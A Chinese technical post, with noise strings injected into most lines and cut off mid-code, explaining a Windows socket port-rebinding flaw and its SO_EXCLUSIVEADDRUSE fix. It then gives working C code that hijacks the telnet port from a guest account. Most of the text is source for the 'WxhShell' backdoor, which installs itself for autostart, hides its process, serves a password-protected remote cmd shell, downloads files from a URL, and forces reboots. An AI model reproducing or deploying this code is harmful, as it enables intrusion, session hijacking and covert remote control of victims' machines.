在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
,/o(|sks s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
T\3 [F%? sc xLB; saddr.sin_family = AF_INET;
^5)_wUf B_~jA%0m' saddr.sin_addr.s_addr = htonl(INADDR_ANY);
P4%>k6X f-+.;`H)T bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
)Qr6/c8} euZ(}+N& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
?`. XK} M_&4]\PkCy 这意味着什么?意味着可以进行如下的攻击:
=~,l4g\ #]zhZW4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
?aJ6ug xwLy|& 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
IK?]PmN4} plku-O;] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
dQ6GhS~ aL)Hv k: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
|Ylg$?,9* pTET%)3 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
[$:@X V( qy9i9$8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
x7gjG"V ak2dn]]D 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
d
Uz<1^L uGCtLA+sL #include
]L(54q;W #include
,wTg$g-$ #include
B/_6Ieb+ #include
EIK*49b2 DWORD WINAPI ClientThread(LPVOID lpParam);
6+ANAk int main()
{Q<0\`A {
%BICt @E WORD wVersionRequested;
h#O"Q+J9n DWORD ret;
)k~1, WSADATA wsaData;
<ge}9pU)o^ BOOL val;
wT%"5: SOCKADDR_IN saddr;
A;t
zRe SOCKADDR_IN scaddr;
}} # be int err;
dJE`9$jN SOCKET s;
%yhI;M^ SOCKET sc;
>;}]pI0T int caddsize;
K P6PQgc HANDLE mt;
LaT8l?q q DWORD tid;
v>:=w|.HC wVersionRequested = MAKEWORD( 2, 2 );
[a+4gy err = WSAStartup( wVersionRequested, &wsaData );
^Fvr
f`A' if ( err != 0 ) {
w .l|G,%= printf("error!WSAStartup failed!\n");
o'^phlX return -1;
Z"N(=B }
kxy]vH6m saddr.sin_family = AF_INET;
id4]|jb qm}\?_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
5%'S V^vLN[8_\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
g
z`*|h saddr.sin_port = htons(23);
z+Z%H#9e if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
qAORWc {
,5kvn printf("error!socket failed!\n");
xv&S[=Dt return -1;
oB}K[3uB:t }
%t{Sb4XZ4k val = TRUE;
We\Y \*!v //SO_REUSEADDR选项就是可以实现端口重绑定的
A?'
H[2]w" if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
&/DOO ^ {
jQs*(=ls printf("error!setsockopt failed!\n");
1W0.Ufl) return -1;
sSy$(% }
\N yr=<c //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
AtT"RG-6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
9nO(xJ"e4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
'tut4SwC :r-.r"[m- if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
H}a)^90_ {
~K%k
0kT ret=GetLastError();
1V0sl0i4 printf("error!bind failed!\n");
A{1
\f* return -1;
Ri[S<GOMii }
e@yx}:]h listen(s,2);
)5'rw<:=" while(1)
]*a@*0= {
MyqiBGTb caddsize = sizeof(scaddr);
XUf7yD //接受连接请求
mDlCt_h sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
W0U`Kt&~a if(sc!=INVALID_SOCKET)
/t$*W\PL@ {
niQ+EAD mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
i<bxc if(mt==NULL)
5U3qr*/ ;m {
J+0/ :00( printf("Thread Creat Failed!\n");
)FV6, break;
Z$1.^H.Db }
)ph30B }
C~{xL>I CloseHandle(mt);
K,G,di }
*^ey]),f54 closesocket(s);
gU u&Vy\ WSACleanup();
'%);%y@v return 0;
dA|Lufy# }
!2#\| NJk DWORD WINAPI ClientThread(LPVOID lpParam)
~ t"n%SgY {
)G^p1o;\ SOCKET ss = (SOCKET)lpParam;
'1Y<RD>x SOCKET sc;
T<XfZZ)l<` unsigned char buf[4096];
8F\~Wz 7K SOCKADDR_IN saddr;
m'3OGvd long num;
[#7D~Lx/ DWORD val;
F68},N>vr@ DWORD ret;
ruzMag) //如果是隐藏端口应用的话,可以在此处加一些判断
"-28[a3q //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
T\)dt?Tv#\ saddr.sin_family = AF_INET;
5"$e=y/ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
~37R0`C saddr.sin_port = htons(23);
48H5_9>: if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
IN<:P {
>G<4Ro" printf("error!socket failed!\n");
f_~}X#._ return -1;
=obt"K%n }
PIgGXNo val = 100;
3,%nkW if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9)jo7,VM {
Bl=nj.g ret = GetLastError();
,n^TN{# return -1;
YfV"_G.ad| }
=jsx(3V if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ZUv
ZNf {
=kwb`
Z/a ret = GetLastError();
7Y%!,ff return -1;
3L?WTS6(u }
!?S5IGLOj if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
FK-}i|di {
wEZ,49 printf("error!socket connect failed!\n");
>-UD]?> closesocket(sc);
BvSdp6z9Iv closesocket(ss);
\)uy"+ Z` return -1;
7E;>E9 ' }
Dp%5$wF)8
while(1)
mgk64}K [n {
+[>yO _} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
jG
=(w4+ //如果是嗅探内容的话,可以再此处进行内容分析和记录
A J<iM)l| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
X77A; US num = recv(ss,buf,4096,0);
jM6uT'Io if(num>0)
bta0?O
# send(sc,buf,num,0);
UEN YJ*tnP else if(num==0)
jQY>9+t break;
-[G/2F' num = recv(sc,buf,4096,0);
[[#xES21F if(num>0)
T_3V/)%@ send(ss,buf,num,0);
}P05eI else if(num==0)
Fsnw3/Nr break;
3s3a> }
58M'r{8_ closesocket(ss);
I[tAT[ < closesocket(sc);
>&*6Fqd return 0 ;
0Ei\VVK> }
+I^+k " c ,Qw; tVC@6Z$ ==========================================================
^nG1/} J&
1X 下边附上一个代码,,WXhSHELL
;+S2h-4 plzE ==========================================================
_Jf J%YXy l*~"5f03 #include "stdafx.h"
~+sne7
6 U U;x99Go: #include <stdio.h>
]$* $0 #include <string.h>
HY*l 4QK #include <windows.h>
*=($r%) #include <winsock2.h>
~5-~q0Ge #include <winsvc.h>
pP?<[ql[w #include <urlmon.h>
I@8+k&nXS v]LFZI5 #pragma comment (lib, "Ws2_32.lib")
fs]#/* RR #pragma comment (lib, "urlmon.lib")
*uk\O] wJ;9),fL #define MAX_USER 100 // 最大客户端连接数
J`U$b+q6 #define BUF_SOCK 200 // sock buffer
=g{_^^n #define KEY_BUFF 255 // 输入 buffer
4v rm&k #R~">g:w #define REBOOT 0 // 重启
g_3rEvf"4 #define SHUTDOWN 1 // 关机
O JZ!|J8? pkrl@jv > #define DEF_PORT 5000 // 监听端口
e_fg s>o`( },?-$eyX #define REG_LEN 16 // 注册表键长度
7H8GkuO #define SVC_LEN 80 // NT服务名长度
44Seq Y!K^-Y} // 从dll定义API
;g;,%jdCS typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
4<=eK7;XR typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
eukX#0/^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
z6GL,wo# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
mafAC73 {|8:U}<#h // wxhshell配置信息
5Ws:Ei{R struct WSCFG {
842Mydom int ws_port; // 监听端口
E9~&f^f char ws_passstr[REG_LEN]; // 口令
{Sd@u$& int ws_autoins; // 安装标记, 1=yes 0=no
AxG?zBTFx char ws_regname[REG_LEN]; // 注册表键名
&F@tmM~ char ws_svcname[REG_LEN]; // 服务名
'=@-aVp char ws_svcdisp[SVC_LEN]; // 服务显示名
e#76h; char ws_svcdesc[SVC_LEN]; // 服务描述信息
-jcrXskb&N char ws_passmsg[SVC_LEN]; // 密码输入提示信息
"6|'&6& int ws_downexe; // 下载执行标记, 1=yes 0=no
7v4-hfN char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Jgi{7J char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Z7K!"I ^*$WZMMJ1 };
qiwQUm{ $G^H7|PzdC // default Wxhshell configuration
\rw'QAi8r struct WSCFG wscfg={DEF_PORT,
cG~_EX$ "xuhuanlingzhe",
vZ1D3ytfG 1,
s5_1}KKCs "Wxhshell",
^^j|0qshL "Wxhshell",
J8`1V`$ "WxhShell Service",
tA;ZW2$# "Wrsky Windows CmdShell Service",
bKZAJLnd "Please Input Your Password: ",
(+]Ig> t 1,
3RTB~K8:{ "
http://www.wrsky.com/wxhshell.exe",
#=)?s
8T "Wxhshell.exe"
P~b%;*m}8 };
vl#V-UW$4P 9fr&Yb=_o@ // 消息定义模块
<E(-QJ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
o$qFa9|Ec? char *msg_ws_prompt="\n\r? for help\n\r#>";
Yp?a=R char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
qqO10~Xc char *msg_ws_ext="\n\rExit.";
8&`T<ECq> char *msg_ws_end="\n\rQuit.";
v]d?6g char *msg_ws_boot="\n\rReboot...";
I%VV4,I&pK char *msg_ws_poff="\n\rShutdown...";
b{yH4)O char *msg_ws_down="\n\rSave to ";
V.E.~<7D\ Q
xj|lr char *msg_ws_err="\n\rErr!";
//4p1^% char *msg_ws_ok="\n\rOK!";
`"bRjC"f] B4M'Er{v char ExeFile[MAX_PATH];
DI"dY
ug# int nUser = 0;
4F 6ju6w HANDLE handles[MAX_USER];
Ri%Of:zZ int OsIsNt;
7\Yq]:;O &`\kb2uep SERVICE_STATUS serviceStatus;
l#J>It\ SERVICE_STATUS_HANDLE hServiceStatusHandle;
$D2Ain1 *(XgUJq+ // 函数声明
c+\Gd}IJq int Install(void);
QKL]O* int Uninstall(void);
~k:>Xo[|O int DownloadFile(char *sURL, SOCKET wsh);
=-a?oH- int Boot(int flag);
y+~Aw"J} void HideProc(void);
.,iw2: int GetOsVer(void);
l*V72!Mv int Wxhshell(SOCKET wsl);
aV92.Z_Ku void TalkWithClient(void *cs);
'E4(!H,k int CmdShell(SOCKET sock);
*<
SU_dAh int StartFromService(void);
N]<~NG:6b int StartWxhshell(LPSTR lpCmdLine);
F0o18k_" Ov{B-zCA VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
J3!k*"P VOID WINAPI NTServiceHandler( DWORD fdwControl );
f|HgLFx 8mQd*GGu1 // 数据结构和表定义
:L+zUlsf SERVICE_TABLE_ENTRY DispatchTable[] =
-^SD6l$ {
EzY
scX.[ {wscfg.ws_svcname, NTServiceMain},
fh5^Gd~ {NULL, NULL}
s*A|9uf5 };
jak|LOp h^3Vd K, // 自我安装
E'6z7m. int Install(void)
&<;nl^ {
h hNFp char svExeFile[MAX_PATH];
>+W?!9[p:2 HKEY key;
q=i,'.nS strcpy(svExeFile,ExeFile);
h11bK'TIv f<xt3 // 如果是win9x系统,修改注册表设为自启动
@o-evH;G if(!OsIsNt) {
~NJL S- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
hJtghG6v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
epm8N / RegCloseKey(key);
E<.{
v\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5Qe}v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y_ u7
0@` RegCloseKey(key);
=F;^^VX return 0;
7[ VCCI
g }
(l,YI"TzT }
^gVbVz[17 }
ZpP6Q else {
lVKF^-i ,HjHt\!~< // 如果是NT以上系统,安装为系统服务
/)HEx&SQmZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
^SES')x if (schSCManager!=0)
vN[m5)aT {
@x\gk5 SC_HANDLE schService = CreateService
(4/`@;[ (
P24 schSCManager,
[+5SEr} wscfg.ws_svcname,
l'X?S(fiV wscfg.ws_svcdisp,
:r[-7
[/ SERVICE_ALL_ACCESS,
'"NdT7* + SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
JZ*?1S> SERVICE_AUTO_START,
,@j&q SERVICE_ERROR_NORMAL,
), x3tTR svExeFile,
=I*ZOE3n NULL,
B?>#cpWj NULL,
P<w>1
= NULL,
E9NGdp&-Ah NULL,
mm~o%1|WR NULL
t3kh]2t );
|x~ei_x7.p if (schService!=0)
LB 5EGw {
UmHb-uk ; CloseServiceHandle(schService);
Sr-^faL CloseServiceHandle(schSCManager);
doUqUak strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
y#SD-#I- strcat(svExeFile,wscfg.ws_svcname);
u K &_IE} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
t`/RcAwA RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
GVPEene RegCloseKey(key);
7*W$GCd8 return 0;
SX94,5 _Q }
AI`1N%Owi }
J*kzJ{vwy* CloseServiceHandle(schSCManager);
SOY#, Zu }
oZ>]8vw }
j-\^
}K.& +=F);;! return 1;
+/ d8d }
E~U|v'GCd ZtZV:re= // 自我卸载
a[OLS+zf!P int Uninstall(void)
A&|(% {
m_W.r+s~C4 HKEY key;
uTFEI.N vVRCM if(!OsIsNt) {
K>E!W!-PJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
J};,%q_ RegDeleteValue(key,wscfg.ws_regname);
8YkH RegCloseKey(key);
i7E7%~S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
i}12mjF RegDeleteValue(key,wscfg.ws_regname);
rs)aEmvC RegCloseKey(key);
xH.q return 0;
krT!AfeV }
dtXJ<1: }
dEl3?~ }
"h|0]y^2 else {
E.*OA y GeR-k9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
9!<3qx/ if (schSCManager!=0)
3).c[F^l {
IOsDVIXL\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
t,Rn if (schService!=0)
Nd!=3W5? {
;-w PXXR if(DeleteService(schService)!=0) {
Jywz27j CloseServiceHandle(schService);
Ho*RLVI0U CloseServiceHandle(schSCManager);
Aba%Gh return 0;
!c' ;L' }
}tg n1xpx CloseServiceHandle(schService);
`RLrT34 }
B$eF@v" CloseServiceHandle(schSCManager);
Al;oI3 }
G~j<I/)" }
omU)hFvyS 6>^k9cJp return 1;
m.X+sP-e }
jtJ8r5j 1 `Y$5g~3. // 从指定url下载文件
fu;B ?mIn int DownloadFile(char *sURL, SOCKET wsh)
-s84/E4Y* {
|xC
TX HRESULT hr;
X64I~* char seps[]= "/";
Rs`Y'_B char *token;
[~0q ) char *file;
uw&,pq char myURL[MAX_PATH];
#GJh:#tt^ char myFILE[MAX_PATH];
Qi L %HS!^j3C% strcpy(myURL,sURL);
Q(Y,p`> token=strtok(myURL,seps);
+VFwYdW, while(token!=NULL)
pIjVJ9+j {
meWq9:z file=token;
dQ"W~ig token=strtok(NULL,seps);
QAw,X Z.K^ }
3Q"+
#Ob Tj~#Xc GetCurrentDirectory(MAX_PATH,myFILE);
smS0Rk strcat(myFILE, "\\");
M)RQIl5 strcat(myFILE, file);
Q2PwO;E.`C send(wsh,myFILE,strlen(myFILE),0);
S}I=i>QB send(wsh,"...",3,0);
hS/'b$# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
!~kzxY if(hr==S_OK)
$S ("-3 return 0;
=f|a?j,f~ else
S,>n'r[ return 1;
cC]1D*Bn LxDhthZi_ }
_YUF /B' Q*(C)/ QW // 系统电源模块
Rb*\A7o|; int Boot(int flag)
':dHYvP/UX {
IH}L1i A) HANDLE hToken;
Ez-o*& TOKEN_PRIVILEGES tkp;
o\gQYi Ku'U^=bVm: if(OsIsNt) {
Wuz~$SU OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
8hA=$}y&x LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ApBThW*E tkp.PrivilegeCount = 1;
?V)6`St#C tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
k,(_R= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
2"^9t1C2 if(flag==REBOOT) {
dkC / ?R if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
B\yq%m return 0;
znRhQ+8;! }
g>CQO,s;w else {
M*uG`Eo& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
hgltD8, return 0;
1i2w<VG1 }
_J!mhUA }
(iP,YKG1? else {
&9{BuBO[ if(flag==REBOOT) {
,:{+
H if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
EC/R|\d?Un return 0;
%W+Fe,] }
CB1u_E_ else {
9m!fW|4 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
z w9r0bG return 0;
m8'1@1d| }
7F~+z7(h }
h#nQd=H<g# _%B`Y ?I` return 1;
E]Q)pZ{Jb }
BD+?Ad? l"8YI sir // win9x进程隐藏模块
7L"/4w void HideProc(void)
jyr#e {
.IU+4ENSy4 ]={Hq9d@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
cGKk2'v? if ( hKernel != NULL )
4N&}hOM'S {
2D"/k'iA pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
}fZBP]<I( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
VCO/s9AL FreeLibrary(hKernel);
- %|I }
IF1}}[Ht k"$V O+}m return;
9~yuyv4$ }
r MlNp?{_ K%;yFEZ // 获取操作系统版本
~O6=dR
int GetOsVer(void)
Is[0ri {
":ycyN@g OSVERSIONINFO winfo;
79_MP winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Viw3 /K GetVersionEx(&winfo);
=KLYR UW if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
QZo l(2~Y return 1;
D.?gV_ else
'-=?lyKv return 0;
yk/XfwQ5 }
\\JXY*DA:+ T~>:8i // 客户端句柄模块
{'%=tJ[YX int Wxhshell(SOCKET wsl)
TF>F7v(,45 {
da@
.J9 SOCKET wsh;
U^D7T|P$V struct sockaddr_in client;
b8&9pLl DWORD myID;
6s;x@g] |(5=4j] while(nUser<MAX_USER)
z?xd\x {
|1o]d$3m int nSize=sizeof(client);
8z"Yo7no wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[@;Z
xs if(wsh==INVALID_SOCKET) return 1;
c/RG1w LJD"N#c handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
f&'md if(handles[nUser]==0)
_1ins;c52 closesocket(wsh);
Qsa2iw{ else
\z
'noc nUser++;
yr?\YKV)I }
566EMy| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
-/X-.#}- 2ip~qZNw>< return 0;
*O~D lf }
G`jhzG i{2KMa{K // 关闭 socket
P;34Rd void CloseIt(SOCKET wsh)
YQ/*| {
z5I<,[` closesocket(wsh);
_PF><ODX2 nUser--;
q2y:bqLWl ExitThread(0);
@p;4g_F }
aO1cd_d6x_ gE1" .qC // 客户端请求句柄
y06 2/$*$ void TalkWithClient(void *cs)
!k:j+h/ {
sp%7iNs JLhp25{x SOCKET wsh=(SOCKET)cs;
y3#\mBiw char pwd[SVC_LEN];
4/b#$o<I? char cmd[KEY_BUFF];
f[w$3 char chr[1];
[>E0(S] int i,j;
`*]r.u0 _~!,x.Dbp while (nUser < MAX_USER) {
7Do)++t DWI!\lK if(wscfg.ws_passstr) {
lk80)sTZ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
hY!G>d{J //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
MEu-lM7v //ZeroMemory(pwd,KEY_BUFF);
KGIz)/eSg i=0;
(\j<`"n while(i<SVC_LEN) {
vzL>ZBeZ kQ + // 设置超时
]zO]*d=m fd_set FdRead;
g!$
"CX%8 struct timeval TimeOut;
a
<3oyY' FD_ZERO(&FdRead);
^P[*yf FD_SET(wsh,&FdRead);
UxW~yk TimeOut.tv_sec=8;
7?Fl [FW$ TimeOut.tv_usec=0;
f5N~K> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
f: Rh9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
*M{1RMc hRP0Djc if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
,#crtX pwd
=chr[0]; A)xI.Q6
if(chr[0]==0xd || chr[0]==0xa) { .+y#7-#6
pwd=0; q9OIw1xQr*
break; k@w&$M{tPF
} E^g6,Y:i9
i++; #\}hN~@F
} X_h+\
7N>
YXvKDw'95
// 如果是非法用户,关闭 socket .}tL:^'~o
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HV}NT~
} Y !`H_Qo
| c;S'36
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L2 I/h`n"
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7Qo*u;fr
]SQ_*$`
while(1) { @t_<oOI2
\R~Lf+q
ZeroMemory(cmd,KEY_BUFF); dgO2fI
>@t]M`#&h
// 自动支持客户端 telnet标准 3yTBkFI!
j=0; RKe19l_V
while(j<KEY_BUFF) { E( TY%wO
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b`^$2RM&
cmd[j]=chr[0]; +G?3j ,a\
if(chr[0]==0xa || chr[0]==0xd) { )T>a|.
cmd[j]=0; 3}"VUS0wh
break; <Sz9: hg-
} Ss8`;>
j++; A3Su&0uaB
} 9(m^^
&?~> I[^~
// 下载文件 -/h$Yb
if(strstr(cmd,"http://")) { iB\d`NUf
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]Y3ALQr!
if(DownloadFile(cmd,wsh)) zRe0z2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Y.As
else ;G w5gK^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YXmLd'F^3
} f`?|A
else { U8moVj8w1
`aCcTs7~]p
switch(cmd[0]) { &B))3WFy
UPbG_ #"wZ
// 帮助 2+|[e_
case '?': { 6ds&n#n
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V482V#BP
break; jildiT[s
} [9w8oNg0
// 安装 *`dGapd3
case 'i': { [x@iqFO9
if(Install()) 9{+B lNZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?f a/}|T
else towQoqv
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f5'+F-`N
break; #*~#t4S-
} ^D!UF(H
// 卸载 akaQ6DIdG
case 'r': { \;Ii(3+v;
if(Uninstall()) J&lQ,T!?B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T'w=v-(J
else oqG
0 @@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <}|+2f233+
break; Rrs z{a
} UA{A G;
// 显示 wxhshell 所在路径 &Uzg&eB
case 'p': { A H`6)v<f
char svExeFile[MAX_PATH]; uYV#'%
strcpy(svExeFile,"\n\r"); ).k=[@@V
strcat(svExeFile,ExeFile); p`Ax)L\f
send(wsh,svExeFile,strlen(svExeFile),0); `2GHB@S"k
break; 2 &R-zG
} ;hRo}
+\l
// 重启 [IiwpC
case 'b': {
~UXW
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %h3CQk
if(Boot(REBOOT)) !sUo+Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S_C+1e
else { tM~R?9OaJ
closesocket(wsh); ,*Sj7qb#
ExitThread(0); y+@7k3"
} =T!M`
break; S?;&vs9j
} 9^ )=N=wV
// 关机 #p0vrQ;5f
case 'd': { I:[3x2H
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zxXm9zrLo
if(Boot(SHUTDOWN)) "`16-g97
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]>&au8
else { Rs7=v2>I
closesocket(wsh); &d=j_9
ExitThread(0); YMC*<wXN
} |]^OX$d
break; 4h?[NOA"
} 9=Y-w s
// 获取shell EZao\,t
case 's': { .#P'NF(5#
CmdShell(wsh); *uNa(yd
closesocket(wsh); S$ dFz
ExitThread(0); vTN$SgzfCU
break; YS%HZFY, "
} gTm[ <Y
// 退出 !fjDO!,!
case 'x': { v-EcJj%
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1%t9ic
CloseIt(wsh); d XrLeoK
break; "\Z.YZUa\
} *RivZ
c9;P
// 离开 (;V6L{Rf>
case 'q': { BA53
send(wsh,msg_ws_end,strlen(msg_ws_end),0); |I6\_K.=L
closesocket(wsh); WM~@/J
WSACleanup(); /{^Qup
exit(1); WL+I)n8~
break; pvD\E
} SVo:%mX
} U)o(}:5xF
}
?x=;?7
LDx1@a|83
// 提示信息 +.:- :
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &V:iy
} gYw4YP0Gz
} D `c
YQ-
k9xfv@v}
return; Wyd,7]'z)Z
} cE$7CSR
0ERA(=w5
// shell模块句柄 QGs\af
int CmdShell(SOCKET sock) -xPv]j$
{ 1!~=8FTv
STARTUPINFO si; @))PpE`co8
ZeroMemory(&si,sizeof(si)); qlNK }
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2r]80sWY
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l`M{Ravvn*
PROCESS_INFORMATION ProcessInfo; ?I6 !m~
char cmdline[]="cmd"; \ym3YwP4/:
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &;DK^ta*P
return 0; $i;%n1VBg
} 1
\:5ow&a
R<I)}<g(A3
// 自身启动模式 bk44qL;8
int StartFromService(void) JmjqA Dex
{ Ko|nF-r_
typedef struct Y92wL}
{ EIPNR:6t
DWORD ExitStatus; j}ywdP`a
DWORD PebBaseAddress; =W$
f+
DWORD AffinityMask; f.-b.nNf
